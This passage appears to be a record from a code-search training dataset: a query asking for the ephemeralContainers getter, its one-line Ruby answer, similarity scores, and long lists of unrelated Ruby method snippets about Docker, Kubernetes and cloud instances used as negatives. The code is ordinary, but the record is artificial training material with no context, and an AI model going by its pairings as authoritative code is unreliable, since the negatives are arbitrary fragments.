= Kaui::SessionsController)\n old_controller = @controller\n @controller = new_controller.new\n yield\n @controller = old_controller\n end", "def set_property(key, value)\n end", "def set!(resource, value)\n resource.instance_variable_set(instance_variable_name, value)\n end", "def setCurrentController(index)\n if index == 0 then\n @firstContainer = UINavigationController.alloc.initWithRootViewController(FirstViewController.alloc.init) if @firstContainer == nil\n @contentViewController = @firstContainer\n else\n @secondContainer = UINavigationController.alloc.initWithRootViewController(SecondViewController.alloc.init) if @secondContainer == nil\n @contentViewController = @secondContainer\n end\n end", "def register_controller(type, controller)\n\t@mount << { type: type, handler: controller }\n end", "def set_client_property\n @client_property = ClientProperty.find(params[:id])\n end", "def value=(new_value)\n\t\t@value = new_value\n\t\tinform_obeservers\n\tend", "def initInRootController(controller)\n initWithFrame(controller.view.bounds).tap do\n @root_controller = controller\n end\n end", "def controller_id\n @controller_id ||= 'as_' + (params[:eid] || params[:parent_controller] || params[:controller]).gsub(\"/\", \"__\")\n end", "def controller(name, &block)\n existing = @base.controllers.select { |a| a.name == name }.first\n if existing\n controller = existing\n else\n controller = Moonrope::Controller.new(@base, name)\n @base.controllers << controller\n end\n controller.dsl.instance_eval(&block) if block_given?\n controller\n end", "def set_owner_property\n @owner_property = OwnerProperty.find(params[:id])\n end", "def Controller(matcher)\n make(matcher)\n end", "def set_pref\n @pref = Pref.find(params[:id])\n end" ]
[ "0.78167844", "0.70102537", "0.68996704", "0.68996704", "0.67232865", "0.67232865", "0.6556888", "0.64945674", "0.6165112", "0.5875794", "0.5875363", "0.5569134", "0.55170256", "0.54999125", "0.5486526", "0.5445268", "0.5434853", "0.54136515", "0.53007466", "0.524773", "0.524773", "0.524773", "0.5223733", "0.5213371", "0.5205186", "0.51962614", "0.51608604", "0.51575613", "0.51522225", "0.5134349", "0.51058495", "0.5088332", "0.5053351", "0.5050692", "0.50460005", "0.50460005", "0.50404906", "0.5034555", "0.49929193", "0.4913644", "0.49079168", "0.49068567", "0.48816475", "0.48730683", "0.48688078", "0.48688078", "0.48648024", "0.48521364", "0.48506695", "0.48210368", "0.48210368", "0.48149702", "0.47836176", "0.4754108", "0.47417724", "0.47216836", "0.471994", "0.47059888", "0.47020057", "0.46851078", "0.46640435", "0.46637148", "0.46636617", "0.46595708", "0.46509287", "0.4650019", "0.46358344", "0.46207607", "0.4620492", "0.4615345", "0.4615345", "0.46123323", "0.46108857", "0.46108857", "0.46026558", "0.4599796", "0.4589739", "0.45843455", "0.45737645", "0.45699695", "0.45644706", "0.45598897", "0.45553172", "0.45532197", "0.4550086", "0.4540488", "0.45403436", "0.45403436", "0.45339578", "0.45297003", "0.45293504", "0.45182583", "0.45135614", "0.45070755", "0.44960552", "0.44944033", "0.44905305", "0.4490043", "0.44822997", "0.44799578" ]
0.7886716
0
Gets the ephemeralContainers property value. The list of pod ephemeral containers.
def ephemeral_containers return @ephemeral_containers end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ephemeral_containers=(value)\n @ephemeral_containers = value\n end", "def containers\n @containers ||= Docker::Container.all(\n all: true, # include stopped containers\n filters: { id: container_ids }.to_json\n ).map(&:json)\n end", "def containers\n return @containers\n end", "def container_instances\n instances = []\n @client.describe_tasks(cluster: @cluster, tasks: tasks)[0].each do |e|\n instances << e[:container_instance_arn]\n end\n instances\n end", "def running_containers\n containers = ::Docker::Container.all(all: true, filters: { status: [\"running\"] }.to_json)\n return containers\n end", "def instances_list\n return [] unless configured?\n\n @service.fetch_all do |token|\n @service.list_instances(@gcp_config['project'], @gcp_config['zone'], page_token: token)\n end.map(&:name)\n end", "def containers\n containers_exited(days_old: 1)\n containers_running(days_old: 1)\n end", "def get_running_containers\n\n containers = []\n running_tasks = get_list_tasks_result\n running_tasks.task_arns.each do |task_arn|\n containers << RaisEcs::Container.new({\n cloud: @cloud,\n cluster: @cluster,\n service: self,\n task_arn: task_arn\n })\n end\n\n return containers\n\n end", "def containers=(value)\n @containers = value\n end", "def container_ids\n @container_ids ||= DockerCompose.new(project).container_ids\n end", "def get_containers\n init_folder unless @init # have I been initialized?\n return @containers \n end", "def read_containers\n []\n end", "def container_names\n (@pod.dig(:spec, :containers) + self.class.init_containers(@pod)).map { |c| c.fetch(:name) }.uniq\n end", "def get_pvm_instances\n pvm_instances = get(\"cloud-instances/#{guid}/pvm-instances\")[\"pvmInstances\"] || []\n\n pvm_instances.map do |pvm_instance|\n get_pvm_instance(pvm_instance[\"pvmInstanceID\"])\n end\n end", "def containers\n obj = parse_object(1)\n return nil unless obj && obj.m_Container && obj.m_Container.array?\n obj.m_Container.value.map do |e|\n {:name => e.first.value, :preload_index => e.second.preloadIndex.value, :path_id => e.second.asset.m_PathID.value}\n end\n end", "def describe_container_instances(params={})\n if instances = params.delete('containerInstances')\n params.merge!(Fog::AWS.indexed_param('containerInstances.member', [*instances]))\n end\n\n request({\n 'Action' => 'DescribeContainerInstances',\n :parser => Fog::Parsers::AWS::ECS::DescribeContainerInstances.new\n }.merge(params))\n end", "def get_nodes\n nodes = []\n\n self.get_running_containers.each do |container|\n nodes << container.get_node\n end\n\n return nodes\n\n end", "def containers_ids\n containers(:response_format => :id_array)\n end", "def list_container_application_instances(opts = {})\n data, _status_code, _headers = list_container_application_instances_with_http_info(opts)\n data\n end", "def instances_names_list\n return [] unless configured?\n\n aws_instances_ids = instances_list || []\n aws_instances_ids.map { |instance| instance[:node_name] }\n end", "def containers(key = nil, options = {})\n key ||= properties.key1\n\n query = \"comp=list\"\n options.each { |okey, ovalue| query += \"&#{okey}=#{[ovalue].flatten.join(',')}\" }\n\n response = blob_response(key, query)\n\n doc = Nokogiri::XML(response.body)\n\n results = doc.xpath('//Containers/Container').collect do |element|\n Container.new(Hash.from_xml(element.to_s)['Container'])\n end\n\n results.concat(next_marker_results(doc, :containers, key, options))\n end", "def containers_for_image(img = docker_image)\n `docker ps -aq -f ancestor=#{img}`.split(\"\\n\")\n end", "def available_hosts\n @available_hosts ||= []\n end", "def containers\n unless @containers\n @containers = read_containers\n if ENV['OSGI'] && !ENV['OSGi']\n warn \"The correct constant to define for the OSGi containers is named OSGi\"\n ENV['OSGi'] = ENV['OSGI']\n end\n if ENV['OSGi'] \n @containers |= ENV['OSGi'].split(';')\n end\n end\n @resolved_containers.nil? ? @containers : @containers.dup.freeze\n end", "def paused_queues\n Sidekiq.redis { |conn| conn.smembers(PAUSED_QUEUES).to_a }\n end", "def ephemeral?\n ephemeral_owner && (ephemeral_owner != 0)\n end", "def hosts\n @hosts ||= []\n end", "def instances()\n return @instances\n end", "def pod_organizations\n @pod_organizations = instance_variable_get(:@pod_organizations) || []\n end", "def stored_virtual_machines\n kubevirt_client.get_stored_virtual_machines(namespace: @namespace)\n end", "def mongo_hosts\n @mongo_hosts\n end", "def get_kubernetes_pod_list(opts = {})\n data, _status_code, _headers = get_kubernetes_pod_list_with_http_info(opts)\n data\n end", "def list_pokemons\n\n end", "def volumes\n service.list_pool_volumes uuid\n end", "def list_instances()\n response = dbreq(\"GET\", dbmgmthost, \"#{dbmgmtpath}/instances\", dbmgmtport, dbmgmtscheme)\n CloudDB::Exception.raise_exception(response) unless response.code.to_s.match(/^20.$/)\n instances = CloudDB.symbolize_keys(JSON.parse(response.body)[\"instances\"])\n return instances\n end", "def containers_path\n @containers_path ||= @cli.config('lxc.lxcpath')\n end", "def hosts\n @hosts.values\n end", "def resolved_containers\n @resolved_containers ||= containers.collect { |container| Container.new(container) }\n @resolved_containers\n end", "def init_containers\n return @init_containers\n end", "def all_servers\n if is_zz?\n return app_config[:all_servers]\n end\n\n return @all_servers if @all_servers != nil\n\n instances = ey['environment']['instances']\n\n # collect all the app server hosts\n @all_servers = []\n instances.each do |instance|\n @all_servers << instance['private_hostname']\n end\n # add ourselves if we have no info, running on dev box\n @all_servers << this_host_name if @all_servers.empty?\n\n @all_servers\n end", "def hits_containers\n return @hits_containers\n end", "def employees\n self.employee_examination_sessions.map(&:employee)\n end", "def get_kubernetes_container_runtime_policy_list(opts = {})\n data, _status_code, _headers = get_kubernetes_container_runtime_policy_list_with_http_info(opts)\n data\n end", "def instances\n @instances ||= init_instances.reject(&:terminated?)\n end", "def beanstalks\n return @beanstalks ||= @beanstalk_servers.map(&:beanstalk)\n end", "def available_docks\n self['availableDocks']\n end", "def applications\n return @applications\n end", "def applications\n return @applications\n end", "def containers\n TestLab::Container.all\n end", "def not_created_instances\n pending_instances_count = wanted_instances - filtered_pods_by_track.count\n\n return [] if pending_instances_count <= 0\n\n Array.new(pending_instances_count, deployment_instance(pod_name: 'Not provided', pod_status: 'Pending'))\n end", "def list_invalid_properties\n invalid_properties = Array.new\n if @containers.nil?\n invalid_properties.push(\"invalid value for 'containers', containers cannot be nil.\")\n end\n\n return invalid_properties\n end", "def get_containers\n content = YAML::load(File.read(docker_compose_file))\n content.has_key?('version') ? content['services'].keys : content.keys\n end", "def ecs_wait_container_instances\n @ecs_wait_container_instances = true\n end", "def known_client_applications\n return @known_client_applications\n end", "def client_applications\n return @client_applications\n end", "def get_allocated_private_ips\n env = Utils::Environ::for_gear(@user.homedir)\n\n allocated_ips = []\n\n # Collect all existing endpoint IP allocations\n process_cartridges do |cart_path|\n cart_dir = File.basename(cart_path)\n cart = get_cartridge_from_directory(cart_dir)\n\n cart.endpoints.each do |endpoint|\n # TODO: If the private IP variable exists but the value isn't in\n # the environment, what should happen?\n ip = env[endpoint.private_ip_name]\n allocated_ips << ip unless ip == nil\n end\n end\n\n allocated_ips\n end", "def list_containers(options={})\n query = { }\n if options\n query['prefix'] = options[:prefix] if options[:prefix]\n query['marker'] = options[:marker] if options[:marker]\n query['maxresults'] = options[:max_results].to_s if options[:max_results]\n query['include'] = 'metadata' if options[:metadata] == true\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n end\n\n uri = containers_uri(query)\n response = call(:get, uri)\n\n Serialization.container_enumeration_results_from_xml(response.body)\n end", "def get_instances_description\n instances\n end", "def all_app_servers\n if is_zz?\n return app_config[:app_servers]\n end\n\n return @all_app_servers if @all_app_servers != nil\n @app_server_types ||= Set.new [ 'solo', 'app', 'app_master' ].freeze\n\n instances = ey['environment']['instances']\n\n # collect all the app server hosts\n @all_app_servers = []\n instances.each do |instance|\n if @app_server_types.include?(instance['role'])\n @all_app_servers << instance['private_hostname']\n end\n end\n # add ourselves if we have no info, running on dev box\n @all_app_servers << this_host_name if @all_app_servers.empty?\n\n @all_app_servers\n end", "def read_pods\n kubeclient = build_kube_client!\n\n kubeclient.get_pods(namespace: actual_namespace).as_json\n rescue Kubeclient::ResourceNotFoundError\n []\n end", "def get_ps_pids(pids = [])\n current_pids = session.sys.process.get_processes.keep_if { |p| p['name'].casecmp('powershell.exe').zero? }.map { |p| p['pid'] }\n # Subtract previously known pids\n current_pids = (current_pids - pids).uniq\n current_pids\n end", "def list_pids\n access_processes do |processes|\n processes.keys\n end\n end", "def getReplicationPeers()\n replAdm = ReplicationAdmin.new(getConfiguration())\n\n repPeers = Array.new()\n repPeers = replAdm.listPeerConfigs\n existingPeerClusters = Array.new\n repPeers.entrySet().each do |e|\n state = replAdm.getPeerState(e.key)\n existingPeerClusters.push([ e.key, e.value.getClusterKey, state ])\n end\n \n replAdm.close()\n\n return existingPeerClusters\nend", "def containers\n return @containers unless @containers.nil?\n container_codes = []\n codes = code.split('|')\n container_codes << (codes = codes[0..-2]).join('|') while codes.size > 1\n # first is country code\n @containers = [country]\n # second, third can be parent administrative division if not nil\n # NOTE container codes is like: [\"ES|58|PO\", \"ES|58\", \"ES\"] (country is last)\n @containers += Division.find_all_by_code container_codes[0..-2], :order => :level if container_codes.size > 1\n return @containers\n end", "def pods\n groups.find { |g| g.name == 'Pods' }\n end", "def managed_apps\n return @managed_apps\n end", "def public_endpoints\n\t\t\t@endpoints.select {|e| e.public_port_name != nil}\n\t\tend", "def host_list\n return @host_list if defined?(@host_list)\n\n if !self.hosts.blank?\n @host_list = self.hosts.split(/[,\\s]+/).compact\n else\n @host_list = []\n end\n\n @host_list\n end", "def pods\n retry_on_error backoff: KUBELET_ERROR_BACKOFF_SECONDS do\n throttle per_second: KUBELET_MAX_REQUESTS_PER_SECOND, throttled: [] do\n JSON.parse(http_get('https://localhost:10250/pods')).fetch(\"items\")\n end\n end\n rescue StandardError\n []\n end", "def instances\n @instances ||= []\n end", "def ebs_volumes\n @ebs_volumes ||= init_ebs_volumes.reject do |vol|\n vol.attachments.any? do |att|\n attached_instance = id_instances[att.instance_id]\n attached_instance.root_device_name == att.device\n end\n end\n end", "def get_allocated_private_ips\n env = Utils::Environ::for_gear(@user.homedir)\n\n allocated_ips = []\n\n # Collect all existing endpoint IP allocations\n @cart_model.process_cartridges do |cart_path|\n cart_name = File.basename(cart_path)\n cart = get_cartridge(cart_name)\n\n cart.endpoints.each do |endpoint|\n # TODO: If the private IP variable exists but the value isn't in\n # the environment, what should happen?\n ip = env[endpoint.private_ip_name]\n allocated_ips << ip unless ip == nil\n end\n end\n\n allocated_ips\n end", "def size\n @episodes.size\n end", "def list_container_applications(opts = {})\n data, _status_code, _headers = list_container_applications_with_http_info(opts)\n data\n end", "def ec2_instances\n instances = EC2::InstanceCollection.new(:config => config)\n instances.tagged('aws:autoscaling:groupName').tagged_values(name)\n end", "def volumes\n @volumes.to_a.freeze\n end", "def cloud_ip_addresses\n cloud_ips.map { |cip| cip[\"public_ip\"] }\n end", "def get_docker_instance_list(options)\n message = \"Information:\\tListing docker images\"\n command = \"docker ps\"\n output = execute_command(options,message,command)\n instances = output.split(/\\n/)\n return instances\nend", "def available_partitions\n partitions.select(&:available?)\n end", "def list_of_instances(keyp=nil)\n tmp_key = (keyp ? keyp : nil)\n \n unless @describe_instances\n tmpInstanceList = remote_base.describe_instances(options).select {|a| a if (tmp_key.nil? || tmp_key.empty? ? true : a[:keypair] == tmp_key) }\n has_master = !tmpInstanceList.select {|a| a[:name] == \"master\" }.empty? \n if has_master\n @describe_instances = tmpInstanceList\n else\n @id = 0\n running = select_from_instances_on_status(/running/, tmpInstanceList)\n pending = select_from_instances_on_status(/pending/, tmpInstanceList)\n terminated = select_from_instances_on_status(/shutting/, tmpInstanceList)\n \n running = running.map do |inst|\n inst[:name] = (@id == 0 ? \"master\" : \"node#{@id}\")\n @id += 1\n inst\n end.sort_by {|a| a[:index] }\n \n @describe_instances = [running, pending, terminated].flatten\n end\n end\n @describe_instances\n end", "def volumes\n Collection::StorageVolumeCollection.new(self)\n end", "def instances\n IbmCloudRest.get \"#{@uri}/instances\"\n end", "def active_instances\n Egi::Fedcloud::Vmhound::Log.info \"[#{self.class}] Retrieving running instances\"\n fetch_instances ['ACTIVE']\n end", "def servers\n endpoint.config.nodes.map(&:to_s)\n end", "def paragraphs\n @node.xpath('w:p').map {|p_node| Containers::Paragraph.new(p_node) }\n end", "def get_node_ips\n # This uses the kubernetes-provided service token supplied to every container:\n auth_opts = {\n bearer_token: File.read('/var/run/secrets/kubernetes.io/serviceaccount/token')\n }\n\n ssl_opts = {\n verify_ssl: OpenSSL::SSL::VERIFY_NONE\n }\n\n kube_client = Kubeclient::Client.new ENV['KUBE_API_ENDPOINT'], 'v1', ssl_options: ssl_opts, auth_options: auth_opts\n nodes = kube_client.get_nodes\n nodes.map { |n| n.status.addresses.detect { |address| address['type'] == 'InternalIP' }['address'] }\nend", "def get_endpoints\n endpoints = call(CMD_GET_ENDPOINTS)[:endpoints]\n endpoints.map {|endpoint| Endpoint.new(endpoint) }\n end", "def peers\n @peers ||= ArkEcosystem::Client::API::Peers.new(@client)\n end", "def apps\n return @apps\n end", "def get_puppetdb_hosts\n curl = setup_curl(\"#{@puppetdb_url}/v3/nodes\")\n curl.get\n servers_junk = JSON.parse(curl.body_str)\n servers_array = []\n servers_junk.each { |server| servers_array << server['name'] }\n @puppetdb_hosts = servers_array\n end", "def in_service_instances\n instances([{name: :lifecycle_state, value: \"InService\"}])\n end", "def kept\n @session[KEPT_KEY] || []\n end", "def doozer_hosts\n hosts = []\n walk('/ctl/node/*/addr') do |path, value, revision|\n hosts << value unless hosts.include? value\n end\n hosts\n end", "def available_instances\n @available_instances ||= {}\n end", "def virtual_machines\n kubevirt_client.get_virtual_machines(namespace: @namespace)\n end", "def compute_list_ids(mixins = nil)\n # TODO: impl filtering with mixins\n backend_compute_pool = ::OpenNebula::VirtualMachinePool.new(@client)\n rc = backend_compute_pool.info_all\n check_retval(rc, Backends::Errors::ResourceRetrievalError)\n\n compute = []\n backend_compute_pool.each do |backend_compute|\n compute << backend_compute['ID']\n end\n\n compute\n end", "def instances\n instances = []\n JSON.parse(resource['/instances'].get)[\"instances\"].each do |i|\n instances << Instance.new(i)\n end\n return instances\n end", "def endpoints\n @endpoints ||= []\n end", "def vm_instances\n @conn.vminstances\n end", "def list_of_node_ips(options={})\n list_of_running_instances.collect {|ri| ri.ip }\n end" ]
[ "0.76161", "0.5884932", "0.578187", "0.5516923", "0.54679585", "0.538744", "0.5291211", "0.5060789", "0.5046921", "0.49621603", "0.4917593", "0.4904076", "0.480965", "0.47854877", "0.471142", "0.46931335", "0.46918225", "0.46907508", "0.46596503", "0.4643486", "0.46421877", "0.46265092", "0.46148166", "0.4601755", "0.4598247", "0.4576449", "0.45706832", "0.45619532", "0.4534654", "0.45341545", "0.4509036", "0.44912818", "0.4476168", "0.4456794", "0.44559023", "0.4452618", "0.4446102", "0.4445398", "0.44450963", "0.4444341", "0.44203806", "0.44038182", "0.440096", "0.43911055", "0.43897277", "0.43889192", "0.43869233", "0.43869233", "0.4381402", "0.4378617", "0.43291503", "0.43262047", "0.43139043", "0.43101385", "0.43090498", "0.43063754", "0.42970893", "0.4296091", "0.42907935", "0.4283509", "0.4282887", "0.42825267", "0.4263472", "0.42540878", "0.42539728", "0.42463145", "0.424233", "0.423394", "0.42308483", "0.42156816", "0.42002222", "0.41936323", "0.4192088", "0.41904947", "0.4183482", "0.41777498", "0.4172949", "0.41658834", "0.41609573", "0.41604066", "0.41583508", "0.4151469", "0.41398984", "0.41373104", "0.4131331", "0.41235307", "0.41200322", "0.4113567", "0.41062585", "0.4105224", "0.40890613", "0.40881255", "0.40876293", "0.4078407", "0.40752017", "0.40740985", "0.40732437", "0.4071399", "0.40657747", "0.40615475" ]
0.80097926
0
Sets the ephemeralContainers property value. The list of pod ephemeral containers.
def ephemeral_containers=(value) @ephemeral_containers = value end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ephemeral_containers\n return @ephemeral_containers\n end", "def containers=(value)\n @containers = value\n end", "def init_containers=(value)\n @init_containers = value\n end", "def containers\n @containers ||= Docker::Container.all(\n all: true, # include stopped containers\n filters: { id: container_ids }.to_json\n ).map(&:json)\n end", "def ephemeral?\n ephemeral_owner && (ephemeral_owner != 0)\n end", "def set_ephem\n @ephem = Ephem.find(params[:id])\n end", "def ecs_wait_container_instances\n @ecs_wait_container_instances = true\n end", "def mongo_hosts=(h)\n @mongo_hosts = h.to_a\n end", "def enterprise_proxy_servers=(value)\n @enterprise_proxy_servers = value\n end", "def known_client_applications=(value)\n @known_client_applications = value\n end", "def container_ids\n @container_ids ||= DockerCompose.new(project).container_ids\n end", "def assign_containers_to_pods!(pods, containers)\n pods.each do |pod|\n pod['containers'] = containers.select do |container|\n container.key?('pod') && container['pod'] == pod['name']\n end\n end\nend", "def containers\n containers_exited(days_old: 1)\n containers_running(days_old: 1)\n end", "def mount_ephemerals(attrs={})\n owner.volume(:ephemeral0, attrs){ device '/dev/sdb'; volume_id 'ephemeral0' ; mount_point '/mnt' ; tags( :bulk => true, :local => true, :fallback => true) } if flavor_info[:ephemeral_volumes] > 0\n owner.volume(:ephemeral1, attrs){ device '/dev/sdc'; volume_id 'ephemeral1' ; mount_point '/mnt2'; tags( :bulk => true, :local => true, :fallback => true) } if flavor_info[:ephemeral_volumes] > 1\n owner.volume(:ephemeral2, attrs){ device '/dev/sdd'; volume_id 'ephemeral2' ; mount_point '/mnt3'; tags( :bulk => true, :local => true, :fallback => true) } if flavor_info[:ephemeral_volumes] > 2\n owner.volume(:ephemeral3, attrs){ device '/dev/sde'; volume_id 'ephemeral3' ; mount_point '/mnt4'; tags( :bulk => true, :local => true, :fallback => true) } if flavor_info[:ephemeral_volumes] > 3\n end", "def mongo_host=(h)\n @mongo_hosts = [h]\n end", "def client_application_publisher_ids=(value)\n @client_application_publisher_ids = value\n end", "def client_applications=(value)\n @client_applications = value\n end", "def containers\n unless @containers\n @containers = read_containers\n if ENV['OSGI'] && !ENV['OSGi']\n warn \"The correct constant to define for the OSGi containers is named OSGi\"\n ENV['OSGi'] = ENV['OSGI']\n end\n if ENV['OSGi'] \n @containers |= ENV['OSGi'].split(';')\n end\n end\n @resolved_containers.nil? ? @containers : @containers.dup.freeze\n end", "def probe_sets=(probe_sets)\n @probe_sets = Array(probe_sets).flatten\n end", "def hosts=(hosts)\n @host = nil\n @hosts = hosts\n end", "def applications=(value)\n @applications = value\n end", "def applications=(value)\n @applications = value\n end", "def managed_apps=(value)\n @managed_apps = value\n end", "def choose_ephemeral_storage(target_datastore_name, accessible_datastores, vm_type)\n #pick datastore set by cluster_picker based on ephemeral_pattern\n storage_options = [accessible_datastores[target_datastore_name]].compact\n logger.debug(\"Initial Storage Options for creating ephemeral disk from pattern: #{storage_options.map(&:name)}\")\n\n if vm_type.datastore_clusters.any?\n sdrs_enabled_datastore_clusters = vm_type.datastore_clusters.select(&:drs_enabled?)\n logger.info(\"None of the datastore clusters have Storage DRS enabled\") unless sdrs_enabled_datastore_clusters.any?\n storage_options.concat(sdrs_enabled_datastore_clusters)\n end\n logger.debug(\"Storage Options for creating ephemeral disk are: #{storage_options.map(&:name)}\")\n choose_best_from(storage_options)\n end", "def endpoints=(value)\n generate_endpoint_methods(value)\n @endpoints = value\n end", "def executables=(value)\n @executables = Array(value)\n end", "def describe_container_instances(params={})\n if instances = params.delete('containerInstances')\n params.merge!(Fog::AWS.indexed_param('containerInstances.member', [*instances]))\n end\n\n request({\n 'Action' => 'DescribeContainerInstances',\n :parser => Fog::Parsers::AWS::ECS::DescribeContainerInstances.new\n }.merge(params))\n end", "def container_instances\n instances = []\n @client.describe_tasks(cluster: @cluster, tasks: tasks)[0].each do |e|\n instances << e[:container_instance_arn]\n end\n instances\n end", "def enterprise_internal_proxy_servers=(value)\n @enterprise_internal_proxy_servers = value\n end", "def hits_containers=(value)\n @hits_containers = value\n end", "def client_application_ids=(value)\n @client_application_ids = value\n end", "def containers(key = nil, options = {})\n key ||= properties.key1\n\n query = \"comp=list\"\n options.each { |okey, ovalue| query += \"&#{okey}=#{[ovalue].flatten.join(',')}\" }\n\n response = blob_response(key, query)\n\n doc = Nokogiri::XML(response.body)\n\n results = doc.xpath('//Containers/Container').collect do |element|\n Container.new(Hash.from_xml(element.to_s)['Container'])\n end\n\n results.concat(next_marker_results(doc, :containers, key, options))\n end", "def container=(value)\n @container = value\n end", "def available_hosts\n @available_hosts ||= []\n end", "def targeted_managed_app_configurations=(value)\n @targeted_managed_app_configurations = value\n end", "def objects=(value)\n # join the array of objects to backup into something usable\n objects = value.join(',')\n veeamconfig('job', 'edit', '--objects', \"#{objects}\", 'for', '--name', \"#{@resource[:name]}\")\n end", "def containers\n return @containers\n end", "def zookeeper_etc_hosts\n zk_private_hosts = ZookeeperHelpers.manager.etc_hosts(false)\n # remove any existing server entries in /etc/hosts\n sudo(\"sed -i -e '/BEGIN_ZOO_SERVERS/,/END_ZOO_SERVERS/{ d; }' /etc/hosts\")\n # append new entries to the /etc/hosts file (one line at a time)\n sudo(\"echo '### BEGIN_ZOO_SERVERS' | sudo tee -a /etc/hosts > /dev/null\")\n zk_private_hosts.each do |etc_host|\n sudo(\"echo '#{etc_host}' | sudo tee -a /etc/hosts > /dev/null\")\n end\n sudo(\"echo '### END_ZOO_SERVERS' | sudo tee -a /etc/hosts > /dev/null\")\nend", "def deleted_items=(value)\n @deleted_items = value\n end", "def pod_organizations\n @pod_organizations = instance_variable_get(:@pod_organizations) || []\n end", "def set_peep\n @peep = Peep.find(params[:id])\n end", "def instances_list\n return [] unless configured?\n\n @service.fetch_all do |token|\n @service.list_instances(@gcp_config['project'], @gcp_config['zone'], page_token: token)\n end.map(&:name)\n end", "def get_pvm_instances\n pvm_instances = get(\"cloud-instances/#{guid}/pvm-instances\")[\"pvmInstances\"] || []\n\n pvm_instances.map do |pvm_instance|\n get_pvm_instance(pvm_instance[\"pvmInstanceID\"])\n end\n end", "def hosts\n @hosts ||= []\n end", "def list_container_application_instances(opts = {})\n data, _status_code, _headers = list_container_application_instances_with_http_info(opts)\n data\n end", "def setPxeEnvMulti()\n if (@pxePrefix != nil)\n nsArray = []\n eachNode { |n|\n nsArray << \"[#{n.x},#{n.y}]\"\n }\n nset = \"[#{nsArray.join(\",\")}]\"\n url = @pxePrefix + nset\n debug \"PXE: #{url}\"\n NodeHandler.service_call(url, \"Error requesting PXE image\")\n end\n end", "def list_pokemons\n\n end", "def running_containers\n containers = ::Docker::Container.all(all: true, filters: { status: [\"running\"] }.to_json)\n return containers\n end", "def set_collection_ivar(objects) # rubocop:disable Naming/AccessorMethodName\n instance_variable_set collection_ivar, objects\n end", "def docker_composersh(reset=false)\n rootFolder = Dir.pwd\n\n # get last container version\n system \"docker pull nextdeploy/composersh\"\n\n @endpoints.each do |ep|\n containername = \"ep_#{ep[:path]}_#{@projectname}\"\n Dir.chdir(\"#{rootFolder}/#{ep[:path]}\")\n system \"docker run --net=#{@projectname}_default -v=#{Dir.pwd}:/app -w /app nextdeploy/composersh --reset #{reset}\"\n\n docker_reset_permissions(containername)\n end\n\n Dir.chdir(rootFolder)\n end", "def list_per_instance_configs request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n uri, _body, query_string_params = transcode_list_per_instance_configs_request request_pb\n response = @client_stub.make_post_request(\n uri: uri,\n params: query_string_params,\n options: options\n )\n result = ::Google::Cloud::Compute::V1::InstanceGroupManagersListPerInstanceConfigsResp.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n result\n end", "def list_preconfigured_expression_sets request_pb, options:, &block\n request_json = JSON.parse ::Google::Cloud::Compute::V1::ListPreconfiguredExpressionSetsSecurityPoliciesRequest.encode_json(request_pb)\n\n uri = \"/compute/v1/projects/#{request_pb.project}/global/securityPolicies/listPreconfiguredExpressionSets\"\n\n result_json = @client_stub.make_get_request(\n uri: uri,\n options: options,\n &block\n )\n\n ::Google::Cloud::Compute::V1::SecurityPoliciesListPreconfiguredExpressionSetsResponse.decode_json result_json[:body], { ignore_unknown_fields: true }\n end", "def container_images\n add_properties(\n # TODO: (bpaskinc) old save matches on [:image_ref, :container_image_registry_id]\n # TODO: (bpaskinc) should match on digest when available\n # TODO: (mslemr) provider-specific class exists (openshift), but specs fail with them (?)\n :model_class => ::ContainerImage,\n :manager_ref => %i[image_ref],\n :delete_method => :disconnect_inv,\n :custom_reconnect_block => custom_reconnect_block\n )\n add_common_default_values\n end", "def managed_devices=(value)\n @managed_devices = value\n end", "def items=(galleries)\n data['galleries'] = galleries\n end", "def available_day_ids=(vals)\n my_ea = EmployeeAvailability.where(employee_id: self.id).map(&:employee_id)\n vals.each do |s|\n next if s.blank?\n s_id = BSON::ObjectId.from_string(s)\n if my_ea.include?(s_id)\n my_ea.delete(s_id)\n else\n EmployeeAvailability.create(employee_id: self.id, employee_id: s_id)\n end\n end\n my_bi.each do |r|\n EmployeeAvailability.find_by(employee_id: self.id, employee_id: r).destroy\n end\n end", "def set_env_variables(container_names = '*', block: false, timeout: 60, polling: 5, **env)\n env_strings = env.map { |k, v| v ? \"#{k}=#{v}\" : \"#{k}-\" }\n log.info \"Setting env variables (#{env_strings}) for #{name}/#{container_names}\"\n @parent.execute('set env', \"dc/#{name}\", *env_strings, containers: container_names)\n sleep polling\n wait_for_deployments(timeout: timeout, polling: polling) if block\n reload(true)\n @_env = nil\n end", "def apps=(value)\n @apps = value\n end", "def containers_ids\n containers(:response_format => :id_array)\n end", "def add_physical_disks\n add_collection(physical_infra, :physical_disks) do |builder|\n builder.add_properties(\n :manager_ref => %i(physical_storage ems_ref),\n :manager_ref_allowed_nil => %i(ems_ref)\n )\n end\n end", "def all_servers\n if is_zz?\n return app_config[:all_servers]\n end\n\n return @all_servers if @all_servers != nil\n\n instances = ey['environment']['instances']\n\n # collect all the app server hosts\n @all_servers = []\n instances.each do |instance|\n @all_servers << instance['private_hostname']\n end\n # add ourselves if we have no info, running on dev box\n @all_servers << this_host_name if @all_servers.empty?\n\n @all_servers\n end", "def managed_app_policies=(value)\n @managed_app_policies = value\n end", "def all_app_servers\n if is_zz?\n return app_config[:app_servers]\n end\n\n return @all_app_servers if @all_app_servers != nil\n @app_server_types ||= Set.new [ 'solo', 'app', 'app_master' ].freeze\n\n instances = ey['environment']['instances']\n\n # collect all the app server hosts\n @all_app_servers = []\n instances.each do |instance|\n if @app_server_types.include?(instance['role'])\n @all_app_servers << instance['private_hostname']\n end\n end\n # add ourselves if we have no info, running on dev box\n @all_app_servers << this_host_name if @all_app_servers.empty?\n\n @all_app_servers\n end", "def resolved_containers\n @resolved_containers ||= containers.collect { |container| Container.new(container) }\n @resolved_containers\n end", "def reload_hosts_list\n self.hosts = self.storage_servers\n write_hosts_to_file\n end", "def clear_expired_embargoes(regenerate_thumbnails: false)\n ::Hyrax::EmbargoService.assets_with_expired_embargoes.each do |presenter|\n item = ActiveFedora::Base.find(presenter.id)\n\n next if item.under_embargo?\n\n ::Hyrax::Actors::EmbargoActor.new(item).destroy\n\n next if item.is_a? FileSet\n\n item.copy_visibility_to_files\n item.save!\n\n RegenerateThumbnailJob.perform_later(item) if regenerate_thumbnails == true\n end\n end", "def 